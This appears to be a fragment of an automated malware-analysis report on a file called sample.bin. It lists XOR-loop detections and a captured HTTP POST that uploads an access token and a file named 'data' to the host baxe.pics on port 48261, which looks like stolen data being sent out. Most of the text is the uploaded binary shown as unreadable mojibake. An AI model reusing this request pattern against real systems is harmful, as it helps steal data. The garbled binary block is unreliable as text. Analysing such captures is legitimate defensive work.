no-cacheContent-Type: multipart/form-data; boundary=6u5kJLgJReT5eBRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791519Host: baxe.pics:48261" Contains base64 string in header "pics" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=6u5kJLgJReT5eBRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791519Host: baxe.pics:48261"3a:T607,Found XOR loop in file "sample.bin" at offset 111578; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 771096; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1429324; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1528912; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 923420; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 973985; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1087281; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1094177; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1138721; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 213974; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 413853; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 440517; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 441213; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 441854; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1344101; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1460316; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1461280; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1541736; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1750560; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1804480; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1847174; code bytes = 80303b:T9f2,"x¤ÆÃpH\ïjØa1£Eæ±ò(Æ{ _§^ý°W³~X§É±B0¥âT#7q®?;SØ@yõÿ5ú ¯'db@ÄÉÎ$_½L*¿,Mià%^7ÙÛæS!X)XP:k×v9ãTBAÛl<ËàÙÉÙ* "·b¿Á@«¥ÒN:í@§C«r¦Ø¯--Z1XFykD5u--"; File: "PCAP"), Found string "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=6u5kJLgJReT5eBRUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 791519Host: baxe.pics:48261--6u5kJLgJReT5eBRContent-Disposition: form-data; name="access_token"8df828e7-3e07-4895-8c7a-b81a3fc4d185--6u5kJLgJReT5eBRContent-Disposition: form-data; name="type"0--6u5kJLgJReT5eBRContent-Disposition: form-data; name="file"; filename="data"Content-Type: application/octet-streamVÂ5©p0& ÎUsÉÁâ9.G¹ÿ¿R®\¸~þ¬ùµüY.@@+O³iÏþ«9øt^Õ:»[èdMÄNÒ)òRÇ}Í»xh /è^ ´}ñÒ2Á>ÝÐjQá^xOã¥:+//íü¶hgüÜ]a¢3D}lÐ«ZëX4²ò©F`äiÐsà³mÓ*à}étM¼ÍïÞhãfË¸#ZÇ ÎÃ&¼ÇU°cSÇ0]Å[É_l$6²½js;l¿.Â í<ÿñZxðê3_hAU:Å%¨<'jÛ³â-µ¯k÷AÝhg°å¶Aª9ÀeÍ~Gé·ÏÙ®ÀµP&>Á[Ï¾ÆMHNJë½t¬¯þ)öªíVwÌLíF+¶3KûÛ8ê]¿l¾Ü dÌ¶ó¹$\kt®"5-âgû'ß!¹µØf&²OÜ*¼óàUSå2Iå(í(á´u°ÆEÙùÎênýËòïXì unÏtNÂÍV÷»pñ³áÁE)Où"'-¡¥éC5Êr ¦K¡ÜwèÆ<#XÆ×:H¬4ÅC'B\»!^pf6ü³ûøÜ¡vî`¡fKvxu/kQ`Ex\ü¡GõÛ-öWÅôµ¢§Öódd"öå<Àxm[[ÞËÄc>¡v^ÍxMä¦Cô2§º]~#ÐYÚñ îú@¿YÒ,ã7Ë/Õ.7c sP"Âü°UíÍ.NgJHßPB©®á¿°6[X!À #Íå$ô'¿]aÊGõ|_CªuùÙ)õÎßÐlªpJÀãkFÌZ2c4Ìr¶Ò}5WI'§w1¤WwQÖ]·²m1ÐÒ^)üj#¢]A`&oÏMÞó6o®=ü%Ærø³Ð×«¿Ôr?¬ovÐÛrh~!¦ìéÍÞ´§ß6YUè:ÍkºH§äÏ4Áft5¯êã9G±P£Îp¡æçü/ø9Ù8_0AvÍìþ©N½-ÔbøÄäZ (Ïÿíà~Z¼eYïVV?=h9l·mõèÎNt;µíÂ3&É/ìÚ(¶Zå¥ÖZA¡î<ÖevúuË8ËÝ¿ÇÄr´kQÎgy½Õtñ¦[Í²ÎuÛbrÜöe#S»K¹öñâ~àQ¾<ä¹HìÞàmà7¸/®Cû³pm¨8,°èK¥.Á6×ý19Ñ]c~ø¼Á÷äìÊåéÜpÈÛ7Ýë9ÌØ²0,ÉÅ>F0MëZ&!ãÁÐ©F§|ãlÁ;ÀÜýi^e@r×ËÑ&ùB¼É8Øí¯@µpÍë÷B8£CjV5t¼ÿðùþIn21-]"Çç{Xâ3ËùÑ¬GF¥H£z0øèñ/:k¿ñ@$X$+ø%^~·;<_ChÎXg¤7&ð^vÞë5§YýK³Æ2úu¼ï§1Ïnã³Ã~EÒ³£j±¯êoþ$X1¶vÞêØ3©ñËÉ4¾m>7.jï4FIN5=Ýû ü#ûæ`°æ!9DÀûlZÇ ãùH/ð/Yx_]-4ò¹ÌìtÌ¤5SdÔCBg«¾Jé^l¹3û3ió#³n5ßÏ+ÃMÑf@¸õj¸@ÕÃãþ]à¹Ix-vÙ»øå0PËü{O%?Ïý¨væ§A÷l^¨i9|ÕráXÌL`Þ¨Û4!Sû:\r+DLÈ.àðkgÌ`¨Õqã`ØVR$©,5°7cûå%{.mIó-Ù*é$±Þ_ù®èÙW&[ZÆ»|yùÙvt|ÃûU©UùB7Uýª=u»0é 7AuWÑ[÷'¿wc×¬Ï>£~[]¡ðûZ9µP:ík!ðûÎ;CðáÂ«4[åÝP0ÞÁ-À¯ß¿^ý¾ñò5$ÓjÜX©ÂkEsËI¡nmÑ8íÁpÒK³ßá¥³ãüÃÀI1q^â´Ù³K`?÷+´ÌDø¾>½y97ÛÈ Ùoú}¸ýbHÞIFç&¸õþ©C¨ìlÝÝ\Éa²B}âõl[¾ÝîoÒ's8NÝ|ï9C·VôM¶ì«XnHøûÍ¶¢J!ØúKL7á6ãXx=Få5ÌC´´»k´ú³^BÃB"Üx4Uá_ë-±ó³Klån ,Ú|µûi~wÙ¡QÖ··õ§¨«ºhÛf2u^Qh(ÑïSè0É0i«àÛ´>ëÝwµ3¡HÏ³xË×,§Tóa.BÔðµpæ¿w¡%×WÄ@<3î©,wrÁÿÔ&®·HCøû{ÙE~×Ým®®ù¸â¦S\H6Ç/òt^!so<ç¤ûNwüÝ#.ÀªI9)Â¼->ßþêmwù[Ò9X[¹ü÷^Òª7pj@WñÚ¤Z`-§ò'p"Vp/ZýEX/bÉÖÕß9Ú%¶WÕ b/ÏNÒÜ\½!ÞÄµäÏ0.Q_õ·|f´ÊÕ¨«ì?·!ê0îyÚYØúÞÌ¡ÉêÉSmª(ìiýß.±ñ}$UîÔ¨ò]í¦Îz¿ulãNûöJÇaûÍhÊL´~ôùý÷u¦ðyÑ£¾YÖ²Á<Ë¯Å´y®t¬ëÈRie*{ÿ¼ndÜ×{3Zq,*Á´»dëÿ6ú×`v±B{7éHÁ/a3G}s2äþ!Ú'Rúýdº_oÐ&%BMßyåÏ'6W¶$4RÛ$Ì$g®<Á]ps¤Jª5Bº¢_¤¿Î/wÙyÒÿïü²q*¾ªÈ~ÊmÖÐG'É7-Ìr¼ûÒû¶?éåÛ£øAA@{kÔeæYÌ5T?¶¬&ùeÚåVú$<³6þþzÝûÏ¬Ù/èBQ$Î°è$aùåzÒX¤TQ|ë]ó«"îx5tëÁuXè"%@\KNtGw¤²2ÜËÈÛ³uqìok9pym+ÏÀ«gLçD}øÛÐWÌp«ç w%^¥Êù5êxUÿ2Ùá!pÙMD®I}¸ÄN)åh9ÂT0:*õZfK0Þ3+ÇhmÑÆzG¡u_¥ 1'ëJâOÄÁÌÏªö0ÓKèÛ·Ô®éÁ¥Vx-!0áÉyï>Dïoõä Þ3ÇE4°N©.ª[Äç~!RGI77ÂÄHõ@¼Ê'æ4-´ìýÕ½¬M9%¼¢!6%Zz'g6§?"^[`O øJ_Õ/dAa¡U3ËÌëÎ v¡ßô¯ú%°Â¥Ã¦Ës%±diáÀ;Ý!ðà'0óÉÈNìÚÀhçÁ8ÐÛóÝáØjÿm¦dÊ>DluõÈÓíîê1@ÊEåOG_·æôÏ~Rgáóø¾ÚBÂ&-¢'7¤óX,hdÞç_Ý}» EU~yw°±üq¤iò.ËÉM¤ømdÎpG?ï¢s¯`i@-Î×¡k!¤%¬ç^9¼îs/[çãÿ½ûÊÐWÿj|Ía.ôhZ1¼¼kv6ÛÕføuvµÏºbº«Bm½Èíµ,ÁdXjyïÏfàÑì÷ñ½®Õë»WjáÒìkõ3¬ÜYè¼m¢ýtøü6mðwe25ÿx$XÑÂCÎáÔ¶õVXKXTN±Á×*Ó´>_°eP"tÎY{s Yæ§ï æ³FÎ2§=}Â Ðíâ^© 3²LôÄ-eWWÐ_=:gEêEÑa×D¯8õbéÊ;HãAmL£Eq9ëBTnÙÎ_J#Ð[ÆSzq':}z+bï<è1l ;I ÕõÏß|@äáºÙö&À}MÞå)Fhß¯õn4Õ%eÊ>öóýØëæbxs(÷>¸Q&¹¡2êJd1C@:w`a2ßVâTQ±QñQå¼iñcrÛz'?ôÖ{÷{ü~¼IÜ5#F0¥Ì7S!e&Ç^.èô2å:!Bãçüæq»6¡*ÐpMçQø¾×åóè¨Ñ=mè§ÅF;àv;Ã5å&ÏzóYÀ÷üÀZx<ËÊ.oezä8gÙx|bB%Ö×Æ7Lß-Í¼+£âcïÈû·Çð§|&ÄáxßòÝ[_~ES7+ o®»¨,ñâzUVîá7ÔîA^õevxïÆãr2ß;õå%"'Ã·6;`Ú;Ú¥vÉúpp0XÒï"«(ÙhÛDßV½\»T«c¼Ù)¡Öë»´CHÄíºø¬Zý®nxäÏ8ý#pNÐ¼üÚØÛ:¯æI®ª_êI{6êÈþ#¢ã'ÝÇ;OH¸½l*.Ñ@7ÏíOð³¤EìÁ_iÜôu,º6?/{ÐWÞë³:ªîÖäQcd¼rZáÔI÷>£èø/p¥«'ç'~³Øß-2Äz:"9ëìúã£Çêc+ÐÒwïe§aI³hVªÞ¬ì^a2ÁÑ;M_Ê]Rføíå+hß¶ð;¨Ñ÷ò<³{¥è:°¤Üm8>§ÊþòuÖ\GV7G7«ÕB#-´ÈÅ¹k3ÿ6æt¦}³³vxnµM¡~~$IýDêø½|=c;Ê:¹ÿÌCHÞIÄÐ4\´º×[yÀ×pÇÄºÔ Y91³Ç&éUçÝ¤){+Í¦"ö°%÷îÄñÜNwä3ç²¡%aÜ¬ô¦à]ã»@d¬ø´fÛRc[*jóª±wÎ\ÒÓ6W×oÛWMDß%¬XRì=µÏR(¹¬Ùù_QÀ#Èÿº²?;ò6 {¾Yç²oü1ã¡¥/îÊiM²qß²Fâý¢e²Mx4~Î|Ü¦Ç¾Ì;RMÏãõ«ÙT32Çz¾®m¹>±²®q3,D§ãïÍãÊP£*,,oºÑÓKIcÆ'Oà|ÿÿ¥>IlìÜF=ùrQ~Z^¯ão0S6»áñfpèÛpE"å|L«ªî?VzxYù'-3|ÓÁAÕvµeeÓ=P»Î'°(2\Ær].¬òæQßêj9ý]iüoÔøm%£«Ð¬}?!¹¹pÏÊls¸UÔEy¿¹ÉÓÔ'{Ýù"à0Pxøµý÷&W®uP/ÎÇiÿ}èÎÄP6¨ÌÔh_Qt¢Óã~æóýØbü@F}ÿ4Äu¥üZÔ´¢n=±æ^úê!nÜ&iÊÀ¼ÄÉÃpNUluBlÓYZ)=9©%©qò«Có¤ãk$±9 ÊËµì!£ì²U»3õ$Â!Üù½c!)vOlø]ÚÅXÇKÍCéEþ.=±õ©eB´âö»Üi%N:ç7ìOÃÊ]ÀÈíFê²¸Úì¥*fºT2Î¹qn¯Êmû°ú Ë>1uù÷ñjSJ¯ºøFÈÉæ£nIÍÂû5ÈØÌÕA°oöt´¡¹e'gDâÿ2ÃèÜÞ=§ ^éõÌw!Wù1`©Ó+Nµ(ý»&ÂþG£q[¿%µæøxcÊ?· Qçm¿Àf~ ºªÂlùË¸°cNÕéPJ±0Mpµñ+Fû±On£ìª5QK©6Ë\ ohI¾»¡çVåØª!ÔóJ±Y6Èêê=èaHOÝ¦åä*é?¦a\Íþø[¼±P¤Xé¾r@rSæ§¤ð£¬%y-¶¾ü±³3¨ÓÿhÚnbÌ)@÷¡H9¹mÛU-Æq÷ùI·¡ÜRAmés=Èn[.RTFÂK&îÇób}¼ îT7B»è<ÿ/ËRoUnk7<©68qï³¬x´ãïà`ØäÛã{D°÷üç´l Fáóúo-.^ým¤óô)»)ÈC<:<¸'SéÆ<¾5ýóo-(àkØðJï£S<½÷éúzÈ«æß%¤}W×h,¬ò_1Í))[T2üÒcsü}|Ô°Ó8¯q&Åì+ô°Öâµ~d¦_O- £´ëQç*ow/ÍÓE9ú?dp¶ûß» °ßêºè[ió}xy¨E"ËvÝgÖz¶ÿ|o·æYûïØ:[åiáÆ%ozÅØÜ¼MòÝÈý9þ»¤ÝëjJ»Ææk;,¹É¦¿X'Ûýë£äPJ+äw;üæÄ2Ö_y©ümÈ·Ku3Ï*Ë~ìñõëTÆÔëü»ÜñdöN ûXx[B%X5,*Gôy¸dðw4Ð²g=»åù(jálø×Ò]CwNFË=Èy¨±Ç~ÃgUÞb¦/1eÏ-[1ÏªmèÉ aëì±vi®8ù·-hÃ¥GÓnE·ü¦QÖr"ÓòóGî!h9ôÊ"]ôCE¸©¹ÍtdÁ~´ÏgÉÐþ«¥®ße,1·¯N¾áöY¸RáÚ!çµ!3ø!31§&" tåÁ»:¤í}UIæBÑØêE[9nt¬ßb¡v¤%÷ã¢#<ß«ù÷jý)²ùTµª|Ttä¸¦ÿ%<$ee©xUV«ASÉP¯êµÿNdCaj!²ÙåúKzLo_JùD[¾Nì»K@M+·A]ÛõN¸íÞøn<)ôÅêÓË½îo)àÜº+fR%·Õ ý #ÛäXpH¥°MÒG·¼ÛT²¬ÇX¯gÄfîaF>muÑE!O(T³HûçÅ³U]5XèQ©Ï<8³ßÇÔè]²ÌAý¡«PÚI|ù@±u´B?#r_2Íný1áyÝÅ4ÉÑÑë púnìõÜHº¾^ë©ôSl@þ¾>ÑçðÂ¦¶Ò»9vªZÄ!ÝºüÀH¾ÌÌÀªÌqÍ(rnrnMwz7ÓB'¾Ur¢{zdåu¶£laa7àÜ'Q@+;õImBùCÛØ£}øÖm¡BçnÆ#êÃmzÅ|ÀÔÅÙlð-×L%¢÷ü«Dê(é¦ªå^Ø9-zél¿ÿ2Ýk3°B¥s¯§§¼ÔEËTòy²s.C2'`@òÑõMo/fßwþÿJðV &)¢ ;Åøtú±DèwP±òØXðTÌÏV¶¢êÁPÍÚNü}7 §O~éãZ×ÕpÓ1îÇ|½ëMQ7A7.&ÓvRÚom1wÒ½uUX¼û#$Ç!MÂÂ0¸s_L9÷-+W(²©ÝC(Y}7Ë;àoûy`ù:ÚRºV¦ê¨4Ë]£Òþ¿Zwò¦1âÎÌ÷£^æ¥´t¡ÖhQ¤øîjÆO»¯»;Ð]$N7Fqè);Þ±Ç¿Ïç^Í|\Ã~õd¯gn°(WßÚþ Kpv^Ú=/×¨iä|³ÎþÍQ8Jÿ«§GLÄÕô½ÿ»æh¥¶mÿäÎ±/Ãé+F¥-O}~ÓÃ «@ÛâåÕ¥ut¾G93ºõ´8¸HõÅ;`ÒN`0¤¼§¤fÓmÂ\C&&@Ã~>Ð5¢PJ=1!6w[ß/¢Õja¯ü#DÌI4IYÇ÷öÌ°LRÒ\\Hôó`ß4ýá?áØ ¤mÎUÓU¤®-oÂ[ä P$MÌ$Û¾x,A²x¯±v¯ÜuEcÚ[å5HÖÅñÝßNèA== -²t²Íà8_RIÃ·8îÔÜ³`Ñ+|pG»úG¼W¾_%!Ú¢q³Ï!>«<Ó ¼{ÂfJò{rÏl_>lÄßº÷¾F'ÈxP³-?*wv¹ÎiHøðÉÑ)ÈL@îRvßÃ&ýç)Í`ûZÐ]ïG_xMd.ÜlDðä·¹3Õ>ßB*-7¡(3ÚyMü©KrJ ¤ë¹»xÞE]ñ-´Z¯+>|Y´Ý³¼?ÓÓé/E×Ìá9h %]yLuCA¤t*Ú·Õî]e5;ãÑHxé:·:,-óàï.$ XúÈä·ú5Èl*+ýúïÌ¼èÇä5bì|I9®`R|¥ÅªmüúìÄxp$(ÎÞ¦Q?k.dÂÑpÆYA/Å*2ï·]ó{Jñuj¥Í.Ð½Ðq9Á`²*µ=h ÚYU,4s»âjàx2î¿u¾eÓªÈº¢k½y;¾jObÊÝÁ}WªÞ=ë)b×ÿ¿>¢ÕÁü6'¼îA?ô-²jñ%ÚÈÄ«'NÄz®Í6©lAÇ»xaÕQ´Òþ¯ga)LLPgu<ô R®ÃLàpY5¤hsÃvk5 S$A±ÚÇÔCòïq¶Ax8«z«±eD_x°c^ÕÀ¸dÅ@JÜ¨pî¦%{W à]âg*áóËÀU§RÎ©´;^:V3ô7LS;$¿cK@ÏOWêXßø¢ý.\Zqð|¢!F©YüVÈòò|E+lñ6.3%ûÑ5ñ§BHë;Jxæk70+c>+gf0¸*âR¾syUÐ¼èJ7$^v!ó}ùWØ¸äùVêcjY±/×.!ÉÓºDp¸='VÂN¯ëru'óãXBâdLcÊ aå(]õo=îF@¢/ç77ÚéÉåÕùDÈÝ\7iÿí`\í0ZY\ÇÃÁZÜãªú¨uålY+n]SRÞml¢Ê{S_½éýpYÏ¤ÙYl»\ÏÉÓ2ßî/ÑÏ@³ÎvÇch]¦B¾-9ì¬x(RXÈ<¢Ì¦×uîÎÜ&=½nja^ã]ª·)Æ(¤»Nn(3Y@iÍ4ðÇqØzeQ½Ð¡<·éyMaÜ2.ÀýÐj-Î*Ë/µ0é$e±ô#ùêEO!ÜAÑàÀ=¯áÏãêG¦)ÿôõ\ç8ôÉ*ùÃ¤¬x¢ÀZ½~rT{á@fÅòÛ/¾µ¸Ù¾vve9á°álÇ]Ê`P¦p[$ÍèFÀ×9¿_UZ Ötä§` ý-´ÜÞl¸& h§lø.CäH=}Ámá¸Ûsa$q8 eë$¾±£ùAbÍ¶Èp|ËÈg'ËÆ?/C ú5QÏxÖ£ZWßø¡ µêuµFÜùËs¹dªÅ!Ò»^d"ëÏ¹²âh¢ò®õ@þÓ+ØìðFò½x$¼ïíàíx5CûÈ¸ëlÞí/=3®o8û¦ëB´æUÕÜ`wÔì¸òcÿ Mê.Qil>*HèMÈ`'Ð|.Z²Und%¶Î£¥³Md@R:é{ì§ÿÙ«ºbÞ#y$¿U£V7r¤ÀKO¾&gÐ|¦Anh¸Ê¸kQG*½_Í ýK3àAø6$%4Dù¿Ý`ö+ãýÀhacHgÜ> x/r+#Q2oAè{AkÅ0pÍ¯$ØMÒ¿©ù/§+Û¥Ð"Ò±¦V\iö«öÏ6þ±«[Ô¥/ªå·iýÑâ:ËýÈõÎpG°°eë¡ÇÆ4»xëuæ W¥ïAg?pQ=WÑ^V¨RÞë4ø{ãZ*LWÐ¾üq_»õ!´¸1WR+ài[Û@ä)±uh'Úúf¨³´?æôEÎNÔ+aÏÙ~2Aï#D²÷-¶&4'ÒsÄÒO}r¾ùÑ÷ãÉ#zoö³gö,Ïæ®ôÓ£Ù9¸r)¯ùÍÀÕK«½+oycþåÙå*vËÎå-R¥É{P}`ENÇª¬ "rE~R*MÔ°}.HèzÀ8ÀqmPß`ÑW»}òb¹ï*¼®(£Ø-âÂ~TèuÑ9ðÛ1©óbyO- "\_þ¿~-?cÔÿéÜ°Y«>ñ.Ï¥]ø×ö²5újÖxÀ»ö¾ßEË\àá¢ë¦oôÎ>yTY~.iËhç1qY* 6QÁã÷_6u*å$§óåuµG·î¨\I4ÀË"/ãuZè°ÊFØÛ¯È3]õ3¡¸ºLAÂzÍtû%9u@öxÑÃ4éÿ¢ã¶=ÎZÌ1Yî/B°ÈÓx(`¶Ü=Uï¶j8Ý¾SuùìÒRM¥Eº^@â6å áPj¾\û¯K¶j"u9ÉgUR3¼Ã9^èQÊÑ-Ú ª¢Oñ>Ëö¨ CF?ùQæG(jÒÆiywrË`ÉNKÜ?lNDGpï³î0wübÚ08UÎÐg§Â:ëÔ1A7Z½Jÿo¬ûw{^KF¦ë{^¨¸=È¾,©²§U >9î?ïI`?£1qÑ2"($>ÕÝ*ìý|ùà²?Â¦)+µÎJö 6åi}Í55;dÐ`þÍ FÚz¿qqa£1ô "Âß«I>T7OòZeGIÔ$"DGVè@^"ØWÜ.ÜÜÞiÄÀ4µþýi«ÝÈÀÀUthé?ÕjÖ°û·Â©u-¸¯ÔãÖvoßî"/ÍpÑÅ êBÇ·Òk`ù8{6|æ?¥î´Y êµ'[-æ&hDÝ P·²ÆÑ`è+r¦'Ûtì:2!a®CgSÊFÁli~YÄÏN}®nüâõRH|3:¹¾}©r~¤ËÐôß_Þ3+×_2îäùµôÊè¦ä³S±þ½8"|Å°|[K®tùïVÊ(ÏÃØäµmøOAãöl Þ²»æ¸ãfµ÷G³ç÷áºÞj3eºÙ8_Kð§`öÊu¹ k~o[véâèiÝ.,ôËkrËÃß5×ëjéêÓ2ßQ(èþâÑ`×LÌ³sÊ¯±yPæÎÑ¿¿ÏKã@©íÛ8\¨2ôOËWg^BAËÕÏ¶©:Ù rRÇEL¯áÛ¤|¹¶Üº=×§6rÄ«ÖX³1þ ³³BìfykSÅJIZdkG,Àwb¦-½ð~Åù$&XÜÜäÐ6óÔ`ùh´f&¬î$Å°õÓ¤`hº¿ì8¸//fÂLTÂßï'·+©é¬µ2cVËd-Äôèå0í/´$)ß0wâÖuX¼Uý7$ÈgÄ0m¹ïFÚÞæ°2«e2<6ä0ÞÁELhY¹vúa0àW}¼ úúÕrýÎöþÇR[½Ã?æãà9 ÔøÔòX øÂ%ßHÁø&+ÄöÖ·PFÂ¸øþ[oìL´UüÌ¹+6ë2k¹/åì_§q÷"]3~+àgâô86î9OôcxÂ/K_'sOiùáç(©)#Âl3_ïð`5$HX@âãA&Òpî'ô«Ïü,0XÄWFË:VgiäßAÏÅ¾ÁR#á²##së\ùÝÇ*çÓu½&~±`¶ÜÿåôrÂX\¡H´Ì'1á¼´t&P/KÓ0úé0Êìr_Úði¦·ÆÕ¯ ÐW#ÎA;wb;ÊÔ|Y0f]0£ì¸õºXh¡HÓ,©@E»kÄÆ@¸F3µÒ+ Y§kìøÐ.®WòãÖíA±j$*ôÔeo(GUY4ª) òAüticÙ8µdóïY½oÁsÓÁîîüJF²PÅu{øß¡EÐ§ÏÇ-Wå;uYn.@ÕgÈ¨æ&óñx³ââÊa63~ßûª=pZ³}ÇgEÔ{y´Kvö£þÑKsßÐÃÚÇ_R>90z2tÃÍÞþï¨c4¸W)e¼ §n^/ðD¡HP²p¼râj¨YàáûV££ñÿÊU\ÀöÄEQÛÀ0åEy"£BÁR¢ÿ«D¶¬nï8;Q9×õÝÓ8"(ôïhèSPà¡6Ýø¹½yzÈ«seQäûøÆá<<Ù.2Ðö$wVLæ)ÝÝk!|ÓôHl_àc¼[ìÒ|«[$éþúmæmän<¶ùJË.À{VF#xkzmÌ5º¦¨kÿjPTSÇýØfÀÈòê0t¹Þõqÿ×`4¼Ñ5±4v-¦R¡â©(Fíø(DÙP´I£²í+øwñº¯Ër²ÐÿÀûÈ«lTüya1f¨ñ_ÄEÞóhDpnÄ-ãLu!µ)Õx±Fÿ'ë%ä«ww â¤ÂËH¢öTÊÚÎN¸)Dµ¤E{^}omhZlkj¿8âtÖXÂæ#çíÃô ÒJõ·ûK?¦Ò@ßûÿÿçÛí=VP°¦ôMù¦`tÈ0j¶-9REèT@½ÀÞpô®,³©Q²©øÝ'Hjºl>¯.Ja§móú.%mGÿþ³w9Ó§v©î ôqi_ZS¹Jk¼ÝØèû±n;aèún³/Æ,.&Ua5¶vÒõÕ@º*G%ØPåÞð:#%°.f-"þKÙú?ûn² ¯kkmP÷DY;i¯Ö¹JX`y¸øBùArz£ÃüÝ7)J¾²6Û"ºT!m_óq&+¾:%»flÑ§þkË|Ñ/T¢ý¬"éö°CjîS±ÖWá¾ÓL¾M(-'"Ï"ÂU8èwÿ¼IýcÑ³¶x¿Ä7çËhIüíö¯ÎfÂ'¶B¸ÙM\çë¹÷lPRLÓQ5zÝ{èÖ±8×¡þ¼x=üzFVsE²|)H¦ãUðÃg)_¨ºSÂ³MîA>Ç±ùAÝôáÿM%=Ç.yÈî½¸'o*s¥>Ü¼ïÑ?úX´.iHseÛqiT®ãÏ{JA4²#QÍsHR{¨o(jvÅkÊ4-Ýáaü2ç¥$ÈZÆ´&BÍ¹@ 0Rè) ·795°8ßèÔNÛÐ«ÐqD¸==H_û&ÇSÑTÕÜí:·C/zÎÉÝFØ¢4:xL'`~aKAdîx¯$2Y-¯ëX8óÇJòHñï£§f i¦üø«#Fã¡Võ©µªÞv>å°*LüÏoÝÃLúoÔ:Q\p¹8(%¿Îù(Eiâý"wfá5nÑ®m)"æzÉxüí¦?ÇÌ8º¯nÈ°bÚR ß#ª`±Øùq¸'L$VnÚº¾oÄ¹«}NÔ ltYô^W8±ø·Uø±ÒkÕþ«ÇÁHpûuE°»!¿VÖ¬' ¹ªãEb¾ÍÏÎ;V/®l¦Á<þ ¡q@Ô1?ÎÐ9ÿÀGºèx{¬a4§®´©ókZÍK]ué÷^ð[cU|Zö X¬K+×9ö¾_.þN²¡ï1]*qZ;M?§Læ¹¡DþKäÆ|±QNµí!z8ïîVG©þCP8D$èõ[¢¿cÚàzy}ýUq>Þ±ÃÊoÊO³¢²?YsBkUçf c9SpöE'¸S}©Ì õ[7L(Á-âW,n¯>ÃÐf¯9_ÚØÐ i´Øã¯ <«Ù*ÁüÂÐí3û÷³V5ø-ÎÃÇ/ôLU9'4?oÕ.f¯Ô`2ETX$é »J\OâË ì5.åÀ»ûfÐXñÉÑòIZc_>sÌéç¶XÎ\rÀÚk$¶Y±Òè$g'±±N|:³D¦1Mù&Æö=|ÜN°¢ÀbÈ®F´]"7Êà8Sê^òÜø¯ /9rý*gª±ÖtmKá¸|dFþÌ°Ê÷XX¼ Õ¯ü1ÒXôÓ`yH$Wº ² ÊàNb«½¶\ëbÁK]±vFq~Ç)\.4*= ³K¦îõ9oC®ÃP·r1y>ÚâÑ\Õ'u¿+úÀúûÅþ¨r8¸÷GÓï¬ãüÐ@1ÁÒ,¼ Ñó×_óü½FB!Ð!JkÏr¯¿×®Èîilýªía×y[v:4æë³4â[ÜEPa½ Ç*9ÑNN4øÊv4YÔr«VüáPâO:ÐåG4Tì¡Þ9Ö33WXSg_ÿªq :¯Pkó¨Àgá}¨R&Â4ç8È1ÞPªøLÈGE²¦â¸æâ:°Ýì("ëid5hÐ»é÷©Í\¿üúGö£¨yìã°jw },ÝíW!_Þðâ'èÄwÊð¤òEÔà¥fÛ8:ä·òÚkü¹m5í4û|Pö©2©ZaúúªkÓ¸ÁþPÜÎZá&j¯ñ¤ÓW1HËîHòS=ßk;;7=¡*X&ô$øÑÅî¾g;Á½v1¨UDÀÔÿúû´^ñÜ¿#ãéÆiÖë-[¾¦u!ßîVxuöÖ¸2pÜ¿®u¡ÌÿÚlÏ¡UÚ÷}¦Ô¹ÏNiqpE;òÁeûGOgêh÷ÐkµÜÇW¶·Ø Yaºøj3/ì2ô<{ä³ðP}ÍÖHÓèHÿ°Gg©.Aå7NÙª}H0Ïø¨Æñ~÷eþð~Ø_BßUD±¹®²ùkm×¦§¯\1Ö}9ãÇøªãóí Ø±.¿ÒQï¹zm 01ÂÉÉZ5ÈFHÒìÄ~nÄS÷ØÉ$Ìt¡~L¢ZVÅF·¡7Ï#ØÁtxØ4t¥Ù²ÀûTùÆj´6ØiÀ5jôÎøÍø?BWÊsîdEõWD×¡`?k^°×hJÑ5-´XùÀ7ÿS9~!ÛI¨MÒñ@³yðþèéWéÝ Lk4$²@·³*4ÂÊþNÈBwæ|'vö¾9ÆqUC9ny&^ÒUyÃxêÿÞá©à.åëë³0VÔfD§Ãèú®§3ÍãTÂ&µP¸¯lú¸ÃñbÎØF@¬øõÝÍ¯¶ð¥Z Àß¸§I®þµÆtÃ:ôÇ±xý-Ô¬»G~úÂÿ:^ëÆ¶tLk¾sÐýâ«bKÃÂp*êS}lÐûjg&ÓÆD¨7Õ¶þXÐh®Âæ«ÆíÛm|Tõut cß^O|Õ¡8~9§Þh°û7Cc"+4µþWç¸Ê(è¡ép´`;/¢°ÞÞÒ±xÃ68÷^mß(OÄ¯Í{Ù~s°ÞÖo[ÖÁ¥uuÌTÑ§È¦ñkÓè*Î!Ü(t¯ü@m¦Æ«oº¼~ 